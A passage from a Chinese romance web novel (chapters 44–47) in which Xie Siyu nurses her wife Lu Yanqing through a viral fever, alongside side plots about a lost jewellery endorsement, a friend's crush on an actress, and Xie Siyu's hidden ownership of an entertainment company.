很快谢思虞端着冲好的感冒药来到她面前。 “以防万一,卿卿还是把感冒冲剂喝了。” 谢思虞坐到陆言卿身边,把玻璃杯递给她,因为刚刚搅拌过,深褐色的药液在杯底凝成小漩涡。 见陆言卿蹙眉,她软了语气,“感冒了会很难受。” 陆言卿难得见谢思虞一本正经的模样,她不是怕喝药,只是觉得没必要,虽然不像她那样晨跑,也不至于吹点风就会生病。 眉眼弯弯,盛满柔情的眼眸看向谢思虞,撒娇道:“那阿虞喂我喝好不好?” “嗯。” 谢思虞端着玻璃杯来到陆言卿嘴边,神情温柔且专注。 陆言卿就着她的手一点点把冲剂喝下去,虽然不抗拒喝药,但也没有人喜欢喝药。 感冒冲剂的苦涩味在口腔里蔓延,还是令她蹙了蹙眉。 “吃颗糖?” 谢思虞把杯子放在茶几上,不知道从哪里变出来一颗橙子味的水果硬糖。 歪头见陆言卿眼睛一亮,颇有几分孩子气,也跟着笑了笑。 剥掉硬糖外面的锡箔纸,糖果喂进陆言卿嘴巴,指尖不小心碰到她温热柔软的舌尖。 不止是手,就连她的心也跟着烫了下。 “谢谢阿虞。” 甜橙的清香取代了冲剂的苦涩味,陆言卿似乎没有在意这个小细节,挽着谢思虞的胳膊,头靠在她的肩膀上,亲昵地蹭了蹭她肩颈。 因为昨晚两人闹了许久,况且今天“忙碌”了一整天,陆言卿和谢思虞洗漱过后就休息了。 凌晨三点。 谢思虞梦到自己掉进灼热的岩浆中,所碰之处都很烫,迷迷糊糊睁开眼睛,摸到陆言卿身上不正常的体温,才恍然明白是她在发热。 迅速翻身坐起来,打开床头的台灯,只见陆言卿脸颊透着不自然的潮红,额前的碎发被汗渍打湿,身上的睡裙也没能幸免。 “卿卿醒醒,你发热了。” 谢思虞在床头柜下方第二个抽屉里找到电子体温计,对准陆言卿额头测量,嘀的一声。 电子体温计发出蜂鸣,38.9℃的红色数字格外刺眼。 陆言卿睁开眼睛,脑袋晕晕沉沉不说,整个人就像是刚从水里捞出来一样,湿漉漉的睡裙黏黏糊糊贴着肌肤。 “我……” 开口说话嗓子难受的不行,就跟好几天没喝水那样沙哑疼痛。 陆言卿翻身平躺着,身体跟小火炉似的,掀开身上的羽绒被,压根儿没想到打脸来的如此快,“还真被阿虞说中了。” 羽绒被掀开,凉意袭来。 陆言卿紧蹙的眉头舒展开来,然而不过几息,谢思虞就把被子重新盖在她身上:“我去拿退烧药,卿卿把被子盖好,不能再受凉了。” 陆言卿捏了捏肿胀的太阳穴,因为发热的缘故,她能明显感觉到心跳很快,鼻子堵塞,呼吸很不顺畅。 整个人头重脚轻,总之很不舒服。 很快谢思虞就端着温水,拿着退烧药进来。 陆言卿刚想撑着胳膊坐起来,肩膀就被旁边的谢思虞扶住。 谢思虞跪坐在床边,让陆言卿靠在她怀里,把一片退烧药塞进她嘴巴里,又小心翼翼喂她喝温水。 “乖,先吃退烧药,等会儿把睡裙换了再睡觉。” 听到谢思虞轻柔的嗓音,明显是哄小孩的口气。 陆言卿哭笑不得地眨眨眼,嗓子难受,她也没有说话,像一个布娃娃似的由她摆布。 吃了退烧药,又喝了大半杯温水。 陆言卿重新躺回床上,但这次她躺的是之前谢思虞睡的位置。 床单很干爽,枕头上似乎还带着某人身上的橙花香。 谢思虞没有打开主卧的照明灯,怕刺到陆言卿的眼睛,借着台灯的光亮,来到衣帽间前,打开玻璃门,从衣架上取下一套陆言卿的睡衣。 “卿卿能自己换衣服吗?” 拿着质地柔软的睡衣睡裤来到床边,谢思虞想到陆言卿睡裙下只穿着小裤裤,并没有穿bra,突然攥紧了手里的衣服,耳根开始微微发烫。 陆言卿发热浑身是软绵绵的,但换睡衣的力气还是有的。 只是当她看到谢思虞眼眸里羞涩时,突然改变了主意:“提不起力气来,阿虞帮我换吧。” 阿虞害羞的模样。 很可爱。 但不能一直害羞呀,她们都是真正的妻妻了,今后睡觉也不可能是素的。 陆言卿垂下眼睑,闪过一抹坏坏的笑,她握住谢思虞的手腕,拉着她坐在床边,十分坦然:“阿虞别害羞,我现在是病人。”- 尽管陆言卿服用退烧药半个小时后便退烧,谢思虞后半夜还是没有睡着,一直都是迷迷糊糊的。 期间多次起来,要么给陆言卿盖被子,要么给她测量体温。 眼见时间来到6点,她便起床去厨房熬粥。 今早她煮的是白米粥,锅里粥变得浓稠,她便关了火,往碗里盛了大半碗,等它自然放凉。 生病的人本来就没什么胃口。 光吃粥可能难以下咽,谢思虞见冰箱里有黄瓜,又做了道凉拌黄瓜,这次没有放辣椒。 7:15分。 谢思虞推开卧室的门,床上没有陆言卿的身影,被她躺过的地方,床单带着褶皱。 这时浴室方向传来了抽水马桶的声音,紧接着就是哗哗的水流声。 不知怎么的。 谢思虞脑海里浮现出昨晚帮陆言卿换睡裙时的画面,卧室只开着台灯,光线不是很亮,但那人就靠在她怀里。 哪怕她有意避开目光,还是轻而易举看到了独属于陆言卿胸前的美好,甚至帮她脱睡裙时,手还触碰到那里的软绵。 她们比之更亲密的事情都做过了,却还是忍不住心跳加速,面红耳赤。 谢思虞垂了垂睫羽,来到床边把床单上的褶皱抚平,又把羽绒被整理好。 昨晚她就换了干净的床单,后半夜陆言卿没有再发热,倒也不用再换。 “阿虞,昨晚辛苦你了。” 陆言卿从浴室出来,就见谢思虞在叠被子,眼神温柔且带着爱怜,来到她身后展开双臂将其拥住。 下巴轻柔地搁在她纤细的肩头,说话时带着浓浓的鼻音。 没有发热了,但吞咽口水时嗓子会疼,估计是肿了。 头也有点晕。 这场病来势汹汹,怕是细菌或者病毒感染。 谢思虞转过身,见陆言卿脸色苍白憔悴,抬起手摸了摸她的脸,一时间心疼的不行。 “吃过早餐我们去医院看看。” 陆言卿低头想亲亲谢思虞,又怕把感冒传染给她,于是亲了亲她的额头,她不会讳疾忌医,更害怕谢思虞担心,配合地点点头:“好,正好阿虞也要复诊。” 第45章 关心则乱 上午10点。 榕城华康私立医院, 门诊二楼。 陆言卿半个小时前抽了血,坐在走廊长椅上等化验报告,今天周五集团上午有董事会, 因为要来医院检查,她便把会议推迟到了下午两点。 “卿卿你先坐着,我下楼去车里拿保温杯。” 谢思虞见陆言卿好几次抿唇瓣, 想拿水给她喝,但托特包里却没有保温杯, 垂眸扫了眼腕表上时间,护士说要10:10才能出结果。 陆言卿轻轻点头,还想说什么, 包里手机震动起来, 拿出来一看是钟晚意打来的电话。 按了接听键:“怎么了?” 【卿卿你是不是认识「雾月」珠宝的董事长陈洲明,陈董?我有重要的事情找他, 能不能帮我引荐一下?】 「雾月」珠宝? 陆言卿眯了眯眼睛,三年前她陪祖母出席一次珠宝拍卖会,高价拍下一条翡翠项链,没想到「雾月」珠宝的董事长就在现场,事后因为祖母的缘故,他们吃了顿晚饭。 是认识,但不熟。 “你找陈董有事?” 陈董比她父亲还要年长几岁, 三年前他在餐桌上就表示到了退休的年龄,准备把公司交给唯一的女儿打理。 陆言卿突然穿越时空来到三年后, 对「雾月」珠宝如今的情况并不了解, “是看中了哪款珠宝?” 【不是。】 【我也不是非要见陈董, 见她的女儿也行,卿卿你有办法约到对方吗?】 【我身边小姐妹都说陈敏之超级难搞, 我……这也是没有办法才找你帮忙。】 陆言卿越听越糊涂:“总要让我知道你为什么要约人家吧?” 【我就是气不过,一开始是「雾月」那边要找薇薇当代言人,昨晚都要签约了,饭桌上品牌方负责人接了通电话,随后就说要换代言人。】 【我拜托朋友打听,才知道「雾月」要找薇薇的对家代言,这不是欺负人是什么?】 原来是因为宋薇。 陆言卿太了解钟晚意的性格,如果她只是追星,单纯欣赏宋薇,便不会一而再再而三“帮”对方。 走廊有护士推着小车经过,车轱辘划过地面发出声响。 陆言卿眼底眸光变得有些复杂,试探地问:“你喜欢她?别打哈哈,你知道问的是什么。” 这次听筒那头的人沉默了好半晌,才支支吾吾“嗯”了声。 【所以卿卿你能帮忙约一下陈敏言吗?】 陆言卿深邃的眼眸里漾出一丝极浅的波澜,虽然之前就隐约猜到,可听到钟晚意亲口承认,还是震惊了一瞬。 “我不敢保证一定能约到。” “有消息我再通知你。” 【好,谢谢。】 短暂的通话结束,陆言卿沉思片刻,才给祖母打电话。 陆氏集团和「雾月」珠宝没有合作往来,这次恐怕要让祖母帮忙了。 其实她更好奇。 钟晚意是何时喜欢宋薇的。 另一边。 谢思虞前往负一楼停车场拿保温杯,打开驾驶座车门,拿到放在中央储物盒里的保温杯,锁车转身,竟然看到了熟人。 微微颔首算是打招呼。 谢思虞迈开脚步往电梯方向走,不曾想对方竟开口叫住了她:“谢总请稍等——” 宋薇最近没有拍戏,好不容易接到一个高奢珠宝代言,不曾想品牌方临时反悔,要更换代言人。 昨晚到现在,她心情虽然很差,但也不得不打起十二万分的精神。 因为昨晚在酒桌上,邹副总喝了好几种酒,导致酒精中毒被送来医院洗胃,情况比较严重,医生建议观察一晚。 毕竟事情跟她有关,就留在医院陪邹副总,今早医生检查过后确定没事,她正要让司机送邹副总回公寓休息,不过出现了一点小问题。 “谢总,邹副总昨晚酒精中毒,如今没有大碍了,我本想送她回家休息,可她坚持要去公司,您……要不要去劝劝?” 谢思虞打量宋薇的目光还算平静,指尖有意无意磨挲保温杯的杯壁,挑眉看向斜前方,一辆黑色的大众保姆车。 后排坐着的人似乎也注意到她们这边的情况,探出脑袋看过来。 一时间,谢思虞和邹筱四目相对。 嘴角勾起一抹浅浅的笑,似乎被人知晓另一个身份,谢思虞并没有恼怒,把保温杯装进托特包,问宋薇:“什么时候发现的?” 宋薇垂下眼睑,漂亮精致的五官被藏在了口罩下方,她抿了抿唇,小声说出“真相”。 她真的只是担心邹副总身体,才不得不挑明。 谢思虞来到大众保姆车旁,看到车内邹筱苍白的脸色,眉头微蹙:“怎么会酒精中毒?” 邹筱不该是这般莽撞的人。 车厢后排。 邹筱在病房躺了一晚上,身上衬衫,包括头发丝都隐约带着消毒水的味道,她扯了扯褶皱的衣角,哭笑不得回复:“或许是太生气了,就没留意杯子里的酒。” 简单说了昨晚的事,那人只是「雾月」珠宝市场部的总监,当众落她面子不说,还敢耍她,她一时没忍住而已。 谢思虞盯着邹筱看了几秒。 事情已经发生了,再多说也无益。 瞥了眼腕表上时间,对邹筱说:“你先回家休息,星海目前在对接的商务合作发一份到我的邮箱。” 说完也不再看邹筱和一旁惴惴不安的宋薇,转身往电梯方向走,脚下的步子很快。 主要是怕陆言卿等的太久。 “你不该叫住她的。” 保姆车上除了邹筱,还有宋薇的助理吴梅,和一名司机,谢思虞是星海娱乐幕后大老板的事情一直对外保密,虽然不清楚宋薇如何得知,她今天都不该把事情挑明。 宋薇眉眼低垂,内心也忐忑不安。 好半晌才支支吾吾解释:“邹副总您真的需要休息。” 邹筱捏了捏鼻梁,身体稍稍后仰靠着座椅靠背,闭上眼睛假寐,等宋薇上车,她清冽的嗓音再次响起:“谢总目前不想言明自己的身份,你们——最好也把这事儿烂在肚子里。” 前排司机眼观鼻鼻观心,启动引擎,专注开车的同时,连忙表态:“邹副总放心,我们绝对守口如瓶。” 副驾驶吴梅转过身来,见宋薇还戴着口罩,只是那清秀的眉头依然紧紧蹙着,明白她的惶恐不安,拧开苏打水的盖子,把水递过去:“薇姐你要不要喝口水?” 宋薇轻轻摇头,关上车窗玻璃,同时拉上了帘子,昨晚邹筱酒精中毒,赶往医院的路上吐了好几次,脸色更是苍白如纸。 明明身体已经不堪重负,还要强撑着去公司,说什么下午有重要的商会洽谈。 在停车场看到谢思虞后,她行动比脑子更快一步,回过神来时已经来不及了。 攥着包包的手很用力,皮肤下青色的血管清晰可见。 谢思虞刚没有动怒,应该不会追究她的责任吧? “现在知道怕了?” 邹筱睁开眼睛,看到宋薇腰板挺得笔直,身体明显紧绷着。 眼底划过一抹无奈,想了想还是开口,“把嘴闭严实就好。” 谢思虞又不是洪水猛兽,动不动就苛责旗下艺人。 只要没有触碰到她的底线,一般还是很宽容的。 宋薇愣了下,摘下脸上的口罩,看向邹筱,眼神认真:“我不会到处乱说。” 邹筱嗯了声。 想到昨晚的事,眼底又浮现出一丝冷意:“「雾月」既然要更换代言人,你也别想这件事了,苏琳结束《情书密语》综艺第3期的录制,你准备准备,去参加第9期吧。” 邹筱此话一出,前排吴梅比宋薇还要高兴,要知道《情书密语》这档恋爱综艺已经录制了第四季。 导演组每季邀请的常驻嘉宾都是娱乐圈重量级艺人,哪怕宋薇只是以飞行嘉宾的身份参加,等到节目播出,也能收获大波粉丝。 宋薇受宠若惊:“谢谢邹副总。” 昨晚到现在,她就跟坐过山车一样,情绪大起大落。 没想到最后竟峰回路转,没能代言「雾月」,却得到了《情书密语》的参加资格。 华康医院门诊二楼。 陆言卿刚从护士手中拿到抽血化验单,谢思虞就从电梯里出来了。 “喝点水。” 谢思虞打开保温杯的盖子,杯子递过去的同时,拿过她手里的化验单子。 保温杯瓶口有吸管,陆言卿吞咽口水嗓子都疼,但还是喝了大半杯温水。 几分钟后。 主任医生办公室。 今天坐诊是一名姓刘的主任医生,她并不认识陆言卿和谢思虞,但看两人的穿着打扮和气质,就知晓她们身份不一般。 态度很温和。 看了陆言卿的抽血报告,又看了看她发炎疼痛的喉咙:“是病毒感染,最近流感比较严重,要是今天还断断续续发烧,明天就来医院输液。” 谢思虞握住陆言卿的手,总感觉她的体温比自己高,眼底是藏不住的担忧,问医生:“刘医生,我妻子的嗓子发炎,喝水都疼,吃消炎药几天能好?” 陆言卿不是小孩子,身体情况如何,心里多少有点数。 轻轻捏了捏谢思虞的指尖:“阿虞别担心,我们先吃药看看,要是再发热再听刘医生的话,明天来医院输液。” 刘医生把化验单递给陆言卿,笑着摇摇头:“你妻子是关心则乱,陆女士的情况不算很严重,回去好好休息,吃药期间切记不能喝酒。” 第46章 阿虞有什么秘密? 病毒感染引起的发热, 同时喉咙发炎肿痛,陆言卿以为只要吃几天药就会慢慢好转,结果她高估了自己的身体素质, 从医院回到江海澜苑公寓,中午喝了碗粥,午觉时又开始发热。 用电子体温计测量了下, 也不知道是不是捂着被子睡觉的缘故,竟然烧到了39.5度。 看到红色的数字, 她也愣了半晌,喉咙疼的厉害,伸手去拿床头柜上的保温杯, 到嘴边才发现里面已经空了。 掀开身上的被子, 从床上爬起来,穿上拖鞋刚站起身, 脑袋眩晕眼前黑了一瞬,幸好人就在床边,不然就要摔到地上。 坐在床边缓了几分钟,这才朝着门口走,去餐厅就着温水吞了两片退烧药。 今天放晴。 窗外阳光明媚,餐桌上磨砂花瓶里的几支玫瑰花开的更加绚烂多姿,美不胜收。 陆言卿给花换了清水, 重新回到卧室,捏了捏肿胀的眉心, 正要躺下来, 枕头下的手机发出震动声来。 【照片】 【中午吃食堂, 刘助理帮我打了一份糖醋小排,味道确实很棒, 难怪卿卿喜欢。】 【等你感冒好了,我做给你吃。】 【言卿,奶奶打你电话怎么没接?工作很忙吗?「雾月」珠宝陈董和她妻子两年前就去国外定居了,她女儿这两天在榕城出差,如果你想约她见面,恐怕只有明晚有时间。】 【卿卿有没有发热?】 【董事会结束我就回家。】 解锁屏幕,两个未接来电是祖母打来的,微信十几条信息,只有一条来自祖母,剩下都来自谢思虞。 上午在华康医院,她拿到感冒药后,就陪谢思虞去了心理科找余霁余医生,对方得知谢思虞最近“睡眠”还不错,不需要借助安眠药也能安然入睡。 问诊期间看了她好几次。 眼神说不出的复杂。 估计也是震惊的。 原本吃安眠药,每周一次针灸,都是缓解谢思虞失眠的状况。 眼下她能入睡,自然也就不需要再针灸。 毕竟针灸也挺遭罪的。 两人回到车里。 谢思虞就坚持要把她送回公寓休息,拒绝的话到嘴边,看到对方眼中不加掩饰的担忧和心疼,她只能说“好”。 【阿虞别担心,发热的话我会吃退烧药。】 陆言卿斟酌片刻才打字回复谢思虞,一句话之所以模棱两可,就是怕那人担心。 她现在说话声音都有点沙哑,怕被祖母发现端倪,便没有回电话,直接在微信上回复文字。 摸了摸额头,确实有点烫。 她只是坐着,没有走没有跳,心脏跳得也有点快。 之前生病似乎也没有这样过。 陆言卿眸光闪烁,想了想把手机扔在一边,重新躺在床上。 她已经吃了退烧药,睡一觉醒来就会退烧,也省的胡思乱想。 再醒来,已经是下午17:10分。 卧室的窗帘拉着,但留有巴掌大的缝隙,夕阳的余晖洒进房间,角落装饰柜上,加湿器正在工作。 陆言卿手臂从被子里拿出来,虚虚地搭在额头上方,整个人都软绵绵的,等她思绪渐渐回笼,下意识喊了一声“阿虞”? 睡觉前她没有打开加湿器。 而它此时正在工作,唯一的可能就是谢思虞回家了。 果不其然,浴室方向传来回应:“嗯,我在。” 陆言卿撑着手臂坐起身,看向浴室方向,原本紧闭的门啪嗒一声响,谢思虞穿着睡衣从里面走出来。 睡衣的衣袖被挽到了手肘处,她正拿着纸巾擦拭手上的水珠,快步冲她走过来,目光温柔,然而那眉眼间的担忧也清晰可见:“卿卿肚子饿了吧?我炖了鸡汤,做鸡丝汤面给你吃好不好?” 陆言卿自是不会拒绝,握住谢思虞柔软的手站起身,发现有些凉,疑惑问:“阿虞在洗什么?” “阿姨来公寓打扫卫生,应该是发现你在睡觉,便没有进来打扰。” 昨晚她把陆言卿换下的睡裙和贴身衣物放在浴室脏衣篓里,阿姨没进来,自然就没有清洗。 谢思虞把睡裙扔到洗衣机了,但剩下的小裤裤她手洗的,怕某人害羞,也就没有再说。 “辛苦阿虞。” 没错过谢思虞闪躲的目光,陆言卿心口微微一跳,隐约猜到什么,确实有点难为情,眼眸里目光也愈发的温柔。 15分钟后。 谢思虞把煮好的鸡丝汤面端到陆言卿面前,上面漂浮着几颗葱花,光是看着就很有食欲。 早上和中午喝粥。 陆言卿早都饿了,拿起筷子夹起面条,扑鼻而来的不止葱香味,还有浓郁鲜美的鸡汤味。 “阿虞也坐下一起吃。” 陆言卿冲着谢思虞笑笑,不再客气,低头吹了吹面条,裹着热气吃掉筷子上的面条。 不知道谢思虞炖了几个小时的鸡汤,又香又浓,且十分鲜美。 不过面条有点软了,转念一想很快明白这是谢思虞故意而为。 如今她喉咙还肿着,面条软些吞咽时才不会痛。 “卿卿慢点。” 谢思虞眼神柔软,递给陆言卿一张纸巾,“等会儿吃完面条,我陪卿卿下楼散步消食,回来再吃药。” 想到回家后看到茶几上的退烧药,她握着筷子的手紧了紧,语气凝肃:“卿卿今晚再发热,明天我们就去医院输液。” 如果没有发热,吃药治疗倒也无妨,可断断续续发热,就不能再拖,必须尽快处理。 回头看了眼客厅方向,陆言卿哑然失笑,本想瞒着,如今看来是没有瞒住。 汤勺舀了口鸡汤喝,她乖乖点头:“好,我听阿虞的。” 过两天妹妹正式转正,成为榕城市二院呼吸内科的一名医生,沈女士专程为妹妹举办宴会,她作为姐姐要是不出席,终究说不过去。 一顿简单的晚餐结束。 谢思虞收拾好厨房,便带着陆言卿下楼散步,担心她身体受不住,便只慢走了两圈。 回到公寓。 陆言卿吃了感冒药,睡了大半天,这个点时间还早也睡不着,便在手机上找了一部有年代的爱情片,投屏到电视上。 本想靠着谢思虞的肩膀,想到什么又坐直了身体,不着痕迹拿了个靠枕放在两人中间。 谢思虞上网查询了下,喉咙不舒服喝蜂蜜柠檬水会舒服一些,便特意调了一杯。 “笨卿卿,要是会传染,我早都难受了。” 谢思虞笑着把靠枕拿开,坐到陆言卿身边,好似故意一般低头亲了亲她的唇瓣,不想听什么冠冕堂皇的话,装有蜂蜜柠檬水的玻璃杯喂到她嘴边,“尝尝好喝吗?” “你啊。” 陆言卿还没反应过来,唇上就贴过来一片柔软,浓密的睫羽轻颤,垂眸正好撞进谢思虞温柔含笑的眸子里。 同一时间,心湖宛如掉入一颗石子,溅起层层涟漪。 完全拿某人没有办法,只好就着谢思虞的手,浅抿了口杯子里的蜂蜜柠檬水,温热的蜂蜜水顺着喉咙往下。 此刻不止是喉咙,心也变得暖暖的。 投屏到电视上的电影谢思虞看过两遍,看完大概需要两个小时。 她扫了眼腕表,又眨眨眼看向身旁的陆言卿。 察觉到谢思虞的目光,陆言卿搂着她腰肢的手慢慢往上,温柔地捏了捏她的肩头,笑着问:“怎么了?” 谢思虞稍稍坐正身体,她一直都记着陆言卿跟她说过的话,于是坦诚道:“抱歉卿卿,邮箱里还有点工作要处理,我再陪你看十分钟好吗?” 陆言卿闻言先是微不可查地蹙眉,很快又轻轻叹息,只能说心情颇为复杂。 一方面她很开心,谢思虞在慢慢改变,遇到事情会跟她沟通。 另一方面她又很心疼。 因为她总喜欢把“抱歉”“对不起”等字眼挂在嘴边。 惩罚似的弹了下谢思虞的额头,力道轻的如花瓣拂过脸颊,陆言卿板着脸认真开口:“虽然我生病了,却也不需要阿虞时时刻刻都陪着,你有其他事情要忙,跟我说一声就好。” “最重要的是,我不想再从阿虞口中听到对不起,抱歉,诸如此类的话。” 陆言卿挪到沙发边缘,弯腰拿起地上的白色拖鞋,一只一只帮谢思虞穿上,最后不忘提醒,“这是最后一次。” 谢思虞安静听着,面上虽还平静,但心湖却掀起滔天波浪。 她用力抓着身下柔软的沙发海绵,许久才轻轻的嗯了声。 “阿虞去忙吧,不用担心,没准我电影都还没看完就犯困了呢?” 陆言卿冲谢思虞莞尔一笑,见她还站着不懂,盘着的双腿放下,作势要穿鞋,某人这才转身离开。 客厅的照明灯关了,只有电视屏幕上透出的光亮。 陆言卿靠着沙发靠背,腿上盖着轻柔的薄毯,时间一分一秒过去,她眼皮越来越重。 电影里故事迎来高潮,熟悉的插曲响起,陆言卿猛然睁开眼睛。 按了下遥控器,只见电影还有半个小时结束。 或许是吃了感冒药,她开始犯困。 暂停电影,退出投屏功能。 陆言卿站在走廊上,不远处书房的灯还亮着。 犹豫几秒,到底没有上前打扰。 10:15分入睡。 01:29分醒来。 身侧空无一人。 陆言卿中途醒来不是发热,而是口渴,喝完水坐靠在床头。 就算遇到天大的麻烦,这个点也应该睡觉了。 穿上拖鞋打开卧室的门,正要往书房方向走,却注意到客厅的落地灯亮着。 “阿虞是遇到什么棘手的事情了吗?” 谢思虞确实在处理工作,但不是陆氏集团的事,而是跟星海娱乐有关。 耳边突然响起陆言卿的声音,下意识盖上了笔记本电脑。 “没有,卿卿……我马上就睡。” 第47章 谢思虞也曾暗恋过一个人好多年 谢思虞看向陆言卿的眼眸里一抹慌乱稍纵即逝, 撑着茶几边缘站起身,迈开脚步,脚踩在冰冷的瓷砖上, 凉意袭来才意识到要穿鞋。 “卿卿醒来是……喝水是吧,我帮你倒。” 穿好拖鞋来到陆言卿跟前,注意到她手里的保温杯, 话落的同时已经拿着杯子往厨房方向走。 谢思虞没想到陆言卿会这个点醒来,的确也紧张, 关于她是星海娱乐幕后老板的事情,她并非有意瞒着,而是不知道该如何开口。 因为苏蔓是星海旗下的艺人。 她曾经也做过卑劣的事情。 手上并不干净。 “阿虞紧张什么?” 陆言卿哪里没看出谢思虞脸上的心虚, 在沙发扶手上坐下来, 唇角微勾,“害怕我骂你?” 厨房料理台上, 水壶是恒温的,壶里的水烧开后会慢慢冷却到45度。 谢思虞拿起水壶往保温杯里倒水,耳边响起陆言卿半开玩笑的话,一颗心都高高悬着:“那卿卿会骂我吗?” 陆言卿眨眨眼,脸上始终挂着温和的笑,但说出口的话却比较严肃:“下次阿虞还工作到凌晨,我肯定会生气。” 突然想起刘瑶曾说过的话。 这些年谢思虞不仅吃饭时间不规律, 加班更是常态。 长期如此,身体如何受得住? “好了, 现在跟我回房间睡觉。工作永远做不完, 我只是担心你的身体。” “卿卿……” 谢思虞攥紧了手里的保温杯, 一时百感交集,好似打翻了五味瓶。 跟在陆言卿身后亦步亦趋回到主卧, 两人很快在床上躺下来。 卧室的照明灯关了。 今晚夜灯也没有开,只有外面轻浅的月光透过窗纱缝隙照进房间。 陆言卿还是担心会把感冒传染给她,并没有拥着她入睡,只是在被子下牵着她的手。 谢思虞转身过,由平躺改为侧躺,大拇指磨挲陆言卿的手心,很轻的问:“今晚我……不是处理集团的工作,至于具体是什么,我现在还不能说。” 陆言卿闻言怔住。 睁开眼睛“看”向谢思虞,几息后唇边勾起温柔笑意:“那就先不说,等阿虞觉得哪天时机成熟了再告诉我。” 脑袋凑过去在谢思虞额头落下轻柔的一吻,光线昏暗的房间,陆言卿眼中是温柔缱绻的深情。 心尖儿都在颤栗,也是发自内心的开心。 一夜好眠。 陆言卿晚上没有再发热,次日醒来喉咙似乎有所好转,虽然还肿着,但喝水不疼了。 在公寓待着也无聊,她随谢思虞一起去了集团,只不过没有处理工作。 无意间看到微博推送的文章,她点击进去看,是娱乐圈某某明星公开结婚的事。 配图是两本结婚证,还有几张唯美的婚纱照。 是了。 她答应谢思虞要补拍婚纱照的。 陆言卿翻找微信好友列表,记得董家千金是婚纱设计师,果然,人家朋友圈发布的内容,80%都是婚纱照片。 想了想措辞才询问对方。 【陆家……言卿姐?】 【你找我是想看婚纱吗?】 几分钟后,陆言卿收到了董欣悦的回复,对方显然很震惊,上来第一句话就是确定她的身份。 手臂搭在办公椅扶手上,慵懒支着额头,打字输入内容:「嗯,我是陆言卿,如果董小姐手上有婚纱原稿设计图纸,可以发给我看看。」 【啊啊啊,真的是言卿姐啊,有点受宠若惊,我如今在国外采风。】 【你稍等片刻,我发给你。】 【图片】 【图片】 【图片】 【这几件婚纱都是我比较满意的设计,如果言卿姐都不是很满意,可以告诉我你的想法,我按照你的要求画图纸。】 陆言卿放大图片,不得不说董欣悦在设计方面有天赋,每件婚纱都很漂亮,谢思虞穿上肯定很漂亮,但她总觉得少了点什么。 正要把自己的想法告诉对方,祖母突然打电话过来,陆言卿眉梢微挑,有种不太好的预感。 【言卿啊,陈董的女儿陈敏言临时改签了航班,半个小时前就返回了帝都。】 “好,我知道了奶奶。” 陆言卿挂断电话,食指轻轻敲击办公桌面,深思熟虑后给钟晚意发微信,关于约见陈敏言一事,她确实爱莫能助。 「如果你非要见她,就去帝都堵人吧。」 钟晚意估计就在玩手机,看到她微信后,立刻打了电话过来:【既然陈总已经回帝都,那就算了。】 陆言卿轻哼:“算了?” 明明之前找她还担心的不得了,如今事没办成,就轻易算了? 这可不像钟晚意的风格。 【辛苦卿卿了,我也是刚从薇薇那里得到消息,失去「雾月」珠宝的代言,公司给了薇薇补偿,让她参加第9期《情书密语》恋综。】 “原来如此。” 她就说。 陆言卿忍不住哂笑,虽然不清楚《情书密语》这档综艺收视如何,但听钟晚意欢快的嗓音,总归不会差。 【卿卿先别挂,我有件事想问问你的意见。】 陆言卿:“你说。” 台式电脑上登陆着微信,会同步最近的聊天记录,她滑动鼠标,再次打开董欣悦发来的婚纱设计稿纸。 【薇薇要去录制恋综,我也想去报名。】 【虽然我不是娱乐圈艺人,但我有钱啊,带资进组总没问题吧。】 陆言卿闻言眼神变得复杂,食指连续点了三次鼠标也没注意,好半晌才开口:“你认真的?” 【我喜欢薇薇,也知道我们不可能在一起,如今有一个机会摆在我面前,我只是不想错过。】 【卿卿,哪怕是假的,哪怕综艺有剧本,我也想短暂的拥有过她。】 钟晚意再开口时,声音又低又哑。 尽管没有面对面聊天,陆言卿也能感受到她的悲伤,一时间竟不知道该说什么好。 她没有暗恋过谁。 也不清楚偷偷喜欢一个人是什么感觉。 千言万语到嘴边,只化作了几个字:“既然决定了那就去做。” 通话结束。 陆言卿突然想到什么,下意识攥紧了手机,心口微涩。 谢思虞也曾暗恋过一个人好多年,最后那人却结婚了,她是否也像晚意这般卑微无助过? 垂了垂眼,陆言卿眼底目光变得有些黯然,理智告诫她不应该去介意,每个人都有过往,她不是也有前女友吗? 可还是控制不住蹙起了眉头。 就很嫉妒,嫉妒那个被阿虞喜欢了那么多年的人。 时间一晃来到周一。 谢思虞本身就是比较敏感的人,这两天陆言卿明显有心事,她不是没有旁敲侧击问过,可对方都巧妙的转移了话题。 中午。 陆言卿每天被谢思虞监督着吃药,感冒已经好转,喉咙也没有继续发炎肿痛,但一日三餐还是吃的比较清淡。 两人从员工食堂回来。 谢思虞看到茶几上的粉红色购物袋,知道是品牌方把钻石项链送过来了,礼盒包装过,不方便再拆开。 她找出手机上的照片给陆言卿看:“我给言薇挑选了一条项链,卿卿要看看吗?” 沙发上,陆言卿靠着柔软的靠枕,歪头看过去,只见照片上项链吊坠镶嵌着一颗粉色钻石,水滴形状。 “阿虞有心了,她肯定会喜欢。” 陆言卿拉着谢思虞坐在她身边,亲昵挽着她的手臂,很自然把头枕在对方肩膀上。 今天谢思虞穿的是一条方领的连衣裙,头发编成辫子侧在一边。 谢思虞退出相册,握住陆言卿的右手,一根一根把手指挤进去,很快便十指紧扣。 她抓起她的手,在她手背上亲了下,笑着问:“卿卿能不能告诉我,这两天因为什么不开心?” 陆言卿撩起眼皮,抬头对上谢思虞含笑的目光,喉咙微动。 她表现有那么明显? 坐直身体,趁某人不注意,把她按向沙发靠背。 低头含住谢思虞柔软的唇瓣。 两人身体紧密贴合在一起,她勾着她的舌吮吸,亲吻。 一上来就深入追逐,好似要掠夺她所有的呼吸。 直到谢思虞脸颊泛起潮红,眼睛里浸染细碎的水光,甚至不由自主闷哼出声,她才松开她。 陆言卿呼吸微喘,她就这么把谢思虞紧紧搂在怀里,埋首在她颈窝,时不时又含着她的耳垂吮咬。 午休时间,不会有人来打扰。 可谢思虞被陆言卿压着亲吻,尤其听到自己那般娇羞的声音,脸和脖子更是红的滴血。 紧紧抓着陆言卿衬衫的衣摆,羞窘难当:“卿卿现在能说了吗?” 陆言卿摇摇头,她此刻也情-动的厉害,但理智尚存。 她不会说。 因为有点丢脸。 “那卿卿能不能……” 谢思虞闻到陆言卿身上馥郁的冷香,胸口小鹿乱撞,她深呼吸了好几次,这人这般欺负她,还闭口不谈,真的有点过分。 可她又怎会真的生她的气。 嘴里话还没有说完,沙发上的手机铃声响起,瞥见屏幕上来电显示,她没有继续说话。 轻轻推了推陆言卿的肩膀:“卿卿你放开我,电话是周女士打来的。” 她需要接听。 因为周静不会无缘无故打电话给她。 